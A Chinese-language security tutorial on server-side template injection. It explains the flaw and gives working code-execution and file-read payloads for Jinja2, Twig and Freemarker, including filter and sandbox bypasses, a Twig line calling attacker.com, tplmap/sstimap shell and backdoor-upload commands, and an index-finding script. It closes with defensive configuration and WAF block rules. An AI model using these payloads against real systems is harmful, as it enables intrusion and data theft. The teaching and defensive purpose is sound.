Server-Side Template Injection SSTI

Server-Side Template Injection Attack and Prevention

前言

Server-Side Template Injection(SSTI)是一種發生在伺服器端模板引擎的注入攻擊。當應用程式將使用者輸入直接嵌入模板中而未經適當處理時,攻擊者可以注入惡意的模板指令,進而在伺服器端執行任意程式碼。這種漏洞的嚴重性通常被低估,但實際上它往往能導致遠端程式碼執行(RCE),造成整個伺服器被攻陷。


1. SSTI 漏洞原理

什麼是模板引擎?

模板引擎是一種將預定義模板與資料結合,動態生成 HTML、Email 或其他文字格式的工具。常見的模板引擎包括:

  • Python: Jinja2、Mako、Tornado
  • Java: Freemarker、Velocity、Thymeleaf
  • PHP: Twig、Smarty、Blade
  • JavaScript: Pug、EJS、Handlebars
  • Ruby: ERB、Slim

漏洞成因

當開發者將使用者可控的輸入直接拼接到模板字串中時,就會產生 SSTI 漏洞。

安全的做法(資料作為參數傳遞):

1
2
3
4
5
6
7
8
9
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    template = "Hello, {{ name }}!"
    return render_template_string(template, name=name)

危險的做法(直接拼接使用者輸入):

1
2
3
4
5
6
7
8
9
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    template = f"Hello, {name}!"  # 危險!使用者輸入直接嵌入模板
    return render_template_string(template)

在危險的情況下,如果使用者輸入 {{7*7}},模板引擎會將其解析並執行,返回 Hello, 49!


2. 常見模板引擎識別

識別流程圖

要成功利用 SSTI,首先需要識別目標使用的模板引擎。以下是常用的識別方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
                    ${7*7}
            ┌──────────┴──────────┐
            │                     │
           49                 ${7*7}
            │                     │
       ┌────┴────┐           {{7*7}}
       │         │                │
   a]b}7*7}    ${7*7}     ┌───────┴───────┐
       │         │        │               │
   Smarty    Mako      49              {{7*7}}
             Java      │                  │
                   {{7*'7'}}          {{7*'7'}}
                       │                  │
                ┌──────┴──────┐    ┌──────┴──────┐
                │             │    │             │
             7777777         49   7777777     未知
                │             │      │
             Jinja2      Twig    Jinja2

常用測試 Payload

模板引擎測試 Payload預期結果
Jinja2{{7*7}}49
Jinja2{{7*'7'}}7777777
Twig{{7*7}}49
Twig{{7*'7'}}49
Freemarker${7*7}49
Freemarker#{7*7}49
Velocity#set($x=7*7)$x49
Smarty{$smarty.version}版本號
Mako${7*7}49
ERB<%= 7*7 %>49
Pug#{7*7}49

自動識別工具

使用 tplmap 工具可以自動識別模板引擎:

1
2
3
4
5
6
# 安裝 tplmap
git clone https://github.com/epinna/tplmap.git
cd tplmap

# 執行識別
python tplmap.py -u "http://target.com/page?name=test"

3. Jinja2 SSTI 利用

Jinja2 是 Python 生態系中最廣泛使用的模板引擎,特別是在 Flask 框架中。

基本資訊洩露

1
2
3
4
5
6
7
8
9
# 存取配置資訊
{{config}}
{{config.items()}}

# 存取環境變數
{{request.environ}}

# 存取應用程式 secret key
{{config['SECRET_KEY']}}

利用 Python 類別繼承鏈

Jinja2 SSTI 的核心利用思路是透過 Python 的類別繼承機制,從基礎物件一路存取到危險的類別(如 ossubprocess 等)。

步驟一:獲取基礎物件類別

1
2
3
4
5
# 從空字串取得 object 類別
{{''.__class__.__mro__[1]}}

# 或使用
{{''.__class__.__base__}}

步驟二:列出所有子類別

1
{{''.__class__.__mro__[1].__subclasses__()}}

步驟三:尋找可利用的類別

常見的目標類別包括:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 尋找 os._wrap_close(可以存取 os 模組)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
    {% if c.__name__ == '_wrap_close' %}
        {{c.__init__.__globals__['popen']('id').read()}}
    {% endif %}
{% endfor %}

# 尋找 warnings.catch_warnings
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
        {{c.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
    {% endif %}
{% endfor %}

常用 RCE Payload

方法一:使用 os 模組

1
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}}

其中 X 需要根據環境找到正確的索引值。

方法二:使用 subprocess

1
{{''.__class__.__mro__[1].__subclasses__()[X]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}

方法三:使用 builtins

1
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

方法四:直接讀取檔案

1
2
3
4
5
# 使用 file 物件(Python 2)
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

# 使用 open(透過 __builtins__)
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

自動化尋找可利用類別

以下 Python 腳本可以幫助找到可利用的類別索引:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import requests

url = "http://target.com/vulnerable?name="

# 獲取子類別列表
payload = "{{''.__class__.__mro__[1].__subclasses__()}}"
response = requests.get(url + payload)
subclasses = response.text

# 尋找有用的類別
useful_classes = ['os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings']
for idx, cls in enumerate(subclasses.split(',')):
    for target in useful_classes:
        if target in cls:
            print(f"Found {target} at index {idx}")

4. Twig SSTI 利用

Twig 是 PHP 中最流行的模板引擎之一,常用於 Symfony 框架。

基本測試

1
2
3
4
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

資訊洩露

1
2
3
4
5
6
7
8
9
# 顯示環境變數
{{_self.env.display({'test':'value'})}}

# 存取請求資訊
{{app.request.request.all}}
{{app.request.server.get('DOCUMENT_ROOT')}}

# 顯示 Twig 環境
{{_self.env}}

RCE 利用(Twig < 1.20)

在舊版本的 Twig 中,可以使用 _self.env 物件:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

或者:

1
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}

RCE 利用(Twig 1.x)

1
{{_self.env.setCache("ftp://attacker.com:21")}}{{_self.env.loadTemplate("backdoor")}}

RCE 利用(Twig 2.x / 3.x)

較新版本的 Twig 增加了安全限制,但仍可能透過以下方式利用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 使用 filter
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}

# 使用 map
{{['id']|map('system')}}

# 使用 reduce
{{[0,0]|reduce('system','id')}}

# 使用 sort
{{['id',0]|sort('system')}}

檔案讀取

1
2
3
4
5
# 讀取檔案
{{"/etc/passwd"|file_excerpt(1,30)}}

# 使用 source
{{source('/etc/passwd')}}

5. Freemarker SSTI 利用

Freemarker 是 Java 生態系中常用的模板引擎,經常在 Spring 框架中使用。

基本測試

1
2
3
${7*7}
#{7*7}
${product.name}

資訊洩露

1
2
3
4
5
6
7
8
# 顯示類別資訊
${.data_model}
${.globals}
${.locale}
${.version}

# 獲取類別載入器
${"freemarker.template.utility.Execute"?new()}

RCE 利用方法一:使用 Execute

1
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

這是最常見且最直接的 RCE 方法。

RCE 利用方法二:使用 ObjectConstructor

1
2
3
4
5
6
7
8
9
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder",["id"]).start().getInputStream()))>

<#list 1..10000 as _>
    <#assign line=br.readLine()!>
    <#if line?has_content>
        ${line}
    </#if>
</#list>

RCE 利用方法三:使用 JythonRuntime

1
2
3
4
5
<#assign jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>
import os
os.system("id")
</@jr>

檔案讀取

1
2
3
4
5
6
7
<#assign file=object("java.io.File", "/etc/passwd")>
<#assign br=object("java.io.BufferedReader", object("java.io.FileReader", file))>
<#list 1..9999 as _>
    <#if br.ready()>
        ${br.readLine()}<br>
    </#if>
</#list>

Freemarker 沙箱繞過

某些情況下,Freemarker 會配置沙箱來限制危險操作。以下是一些繞過技術:

1
2
3
4
5
6
# 使用 API 內建函數(需要 Freemarker 2.3.22+)
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

6. 繞過技術與沙箱逃逸

常見過濾繞過

繞過關鍵字過濾

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 使用字串拼接
{{'__cla'+'ss__'}}

# 使用 attr 過濾器
{{''|attr('__class__')}}

# 使用 getattr
{{''.__getattribute__('__class__')}}

# 使用十六進位編碼
{{''['\x5f\x5fclass\x5f\x5f']}}

# 使用 request 物件
{{request['__cl'+'ass__']}}

繞過雙大括號過濾

1
2
3
4
5
# 使用 {% %} 語句
{% print(7*7) %}

# 使用 {# #} 註解結合注入
{%- if True -%}49{%- endif -%}

繞過點號過濾

1
2
3
4
5
# 使用中括號存取屬性
{{''['__class__']['__mro__'][1]}}

# 使用 attr 過濾器
{{''|attr('__class__')|attr('__mro__')}}

繞過底線過濾

1
2
3
4
5
6
7
8
9
# 使用 request 取得底線
{{()|attr(request.args.a)|attr(request.args.b)}}
# URL: ?a=__class__&b=__mro__

# 使用編碼
{{''['\x5f\x5fclass\x5f\x5f']}}

# 使用 Unicode
{{''["\u005f\u005fclass\u005f\u005f"]}}

Jinja2 沙箱逃逸

使用 lipsum 物件

1
{{lipsum.__globals__['os'].popen('id').read()}}

使用 cycler 物件

1
{{cycler.__init__.__globals__.os.popen('id').read()}}

使用 joiner 物件

1
{{joiner.__init__.__globals__.os.popen('id').read()}}

使用 namespace 物件

1
{{namespace.__init__.__globals__.os.popen('id').read()}}

進階繞過技術

使用 dict 取得類別

1
{{dict.__base__.__subclasses__()}}

使用 config 物件

1
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

使用 self 物件

1
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

7. 測試方法與工具

手動測試流程

  1. 識別注入點:尋找會反映使用者輸入的頁面
  2. 測試模板語法:嘗試各種模板引擎的基本語法
  3. 確認模板引擎:根據回應判斷使用的引擎
  4. 構建 Payload:根據引擎特性構建攻擊 Payload
  5. 實現 RCE:嘗試執行系統命令

常用測試 Payload 清單

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 通用測試
${{7*7}}
{{7*7}}
#{7*7}
<%= 7*7 %>
${7*7}
${{7*7}}
{{constructor.constructor('return 7*7')()}}
{{7*'7'}}

# 錯誤觸發
{{invalid
${{invalid
#{invalid
<%= invalid

自動化工具

Tplmap

Tplmap 是專門用於 SSTI 漏洞檢測和利用的工具:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 基本使用
python tplmap.py -u "http://target.com/page?name=test"

# 指定 POST 資料
python tplmap.py -u "http://target.com/page" -d "name=test"

# 使用 Cookie
python tplmap.py -u "http://target.com/page?name=test" -c "session=abc123"

# 執行系統命令
python tplmap.py -u "http://target.com/page?name=test" --os-shell

# 讀取檔案
python tplmap.py -u "http://target.com/page?name=test" --download /etc/passwd output.txt

# 上傳檔案
python tplmap.py -u "http://target.com/page?name=test" --upload backdoor.php /var/www/html/

SSTImap

SSTImap 是 Tplmap 的增強版本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 安裝
pip install sstimap

# 基本掃描
sstimap -u "http://target.com/page?name=test"

# 互動式 Shell
sstimap -u "http://target.com/page?name=test" -s

# 執行命令
sstimap -u "http://target.com/page?name=test" -c "id"

Burp Suite 擴充套件

  • Backslash Powered Scanner:自動檢測各種注入漏洞
  • J2EE Scan:專門針對 Java 應用程式的掃描器
  • Tplmap Burp Extension:Tplmap 的 Burp 整合版

Nuclei Templates

使用 Nuclei 進行批次掃描:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# ssti-detection.yaml
id: ssti-detection

info:
  name: SSTI Detection
  author: security-researcher
  severity: high

requests:
  - method: GET
    path:
      - "{{BaseURL}}?name={{7*7}}"
      - "{{BaseURL}}?name=${{7*7}}"
      - "{{BaseURL}}?name=#{7*7}"

    matchers:
      - type: word
        words:
          - "49"

執行掃描:

1
nuclei -u http://target.com -t ssti-detection.yaml

8. 防禦措施

安全開發實踐

1. 使用安全的模板渲染方式

永遠將使用者輸入作為資料傳遞,而非嵌入模板:

1
2
3
4
5
6
7
8
# 正確做法
@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    return render_template('hello.html', name=name)

# hello.html
<h1>Hello, {{ name }}!</h1>

2. 輸入驗證與清理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import re

def sanitize_input(user_input):
    # 移除可能的模板語法
    dangerous_patterns = [
        r'\{\{.*\}\}',
        r'\{%.*%\}',
        r'\$\{.*\}',
        r'#\{.*\}',
    ]

    for pattern in dangerous_patterns:
        if re.search(pattern, user_input):
            raise ValueError("Invalid input detected")

    return user_input

3. 使用沙箱環境

Jinja2 提供沙箱環境來限制模板的能力:

1
2
3
4
5
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("Hello, {{ name }}!")
result = template.render(name=user_input)

4. 配置模板引擎安全選項

Freemarker 安全配置:

1
2
3
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);

Twig 安全配置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$twig = new \Twig\Environment($loader, [
    'autoescape' => 'html',
    'strict_variables' => true,
]);

// 禁用危險函數
$policy = new \Twig\Sandbox\SecurityPolicy(
    [],  // 允許的標籤
    [],  // 允許的過濾器
    [],  // 允許的方法
    [],  // 允許的屬性
    []   // 允許的函數
);

$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);

安全架構建議

1. 最小權限原則

確保 Web 應用程式以最低權限執行:

1
2
3
4
5
6
# 建立專用使用者
useradd -r -s /bin/false webapp

# 設定適當的檔案權限
chown -R webapp:webapp /var/www/app
chmod -R 750 /var/www/app

2. 網路隔離

  • 將應用程式伺服器放置在 DMZ
  • 限制對內部網路的存取
  • 使用 WAF 過濾惡意請求

3. 監控與日誌

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import logging

logging.basicConfig(level=logging.WARNING)
logger = logging.getLogger(__name__)

def render_template_safely(template_string, **kwargs):
    # 記錄模板渲染請求
    logger.info(f"Rendering template with context: {kwargs.keys()}")

    # 檢測可疑模式
    suspicious_patterns = ['__class__', '__mro__', '__globals__']
    for key, value in kwargs.items():
        if isinstance(value, str):
            for pattern in suspicious_patterns:
                if pattern in value:
                    logger.warning(f"Suspicious pattern detected in {key}: {pattern}")
                    raise SecurityException("Potential SSTI attack detected")

    return render_template_string(template_string, **kwargs)

WAF 規則範例

ModSecurity 規則

1
2
3
4
5
6
7
8
9
# 阻擋常見 SSTI Payload
SecRule ARGS|ARGS_NAMES "@rx \{\{.*\}\}" \
    "id:100001,phase:2,deny,status:403,msg:'Potential Jinja2 SSTI'"

SecRule ARGS|ARGS_NAMES "@rx \$\{.*\}" \
    "id:100002,phase:2,deny,status:403,msg:'Potential Freemarker SSTI'"

SecRule ARGS|ARGS_NAMES "@rx __class__|__mro__|__globals__|__builtins__" \
    "id:100003,phase:2,deny,status:403,msg:'Python object traversal detected'"

Nginx 配置

1
2
3
4
5
6
7
8
# 阻擋可疑請求
if ($request_uri ~* "(\{\{|\}\}|\$\{|\%7B\%7B|\%7D\%7D)") {
    return 403;
}

if ($args ~* "(__class__|__mro__|__globals__|__builtins__)") {
    return 403;
}

總結

Server-Side Template Injection 是一種高風險的安全漏洞,往往能導致完整的遠端程式碼執行。作為滲透測試人員,理解各種模板引擎的特性和利用技術是必要的;作為開發人員,遵循安全的開發實踐是防止此類漏洞的關鍵。

關鍵要點

  1. 永遠不要將使用者輸入直接嵌入模板字串
  2. 使用資料綁定的方式傳遞變數給模板
  3. 啟用沙箱模式限制模板的執行能力
  4. 定期更新模板引擎至最新版本
  5. 實施 WAF 規則作為額外的防護層
  6. 進行安全測試確保應用程式不受 SSTI 影響

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy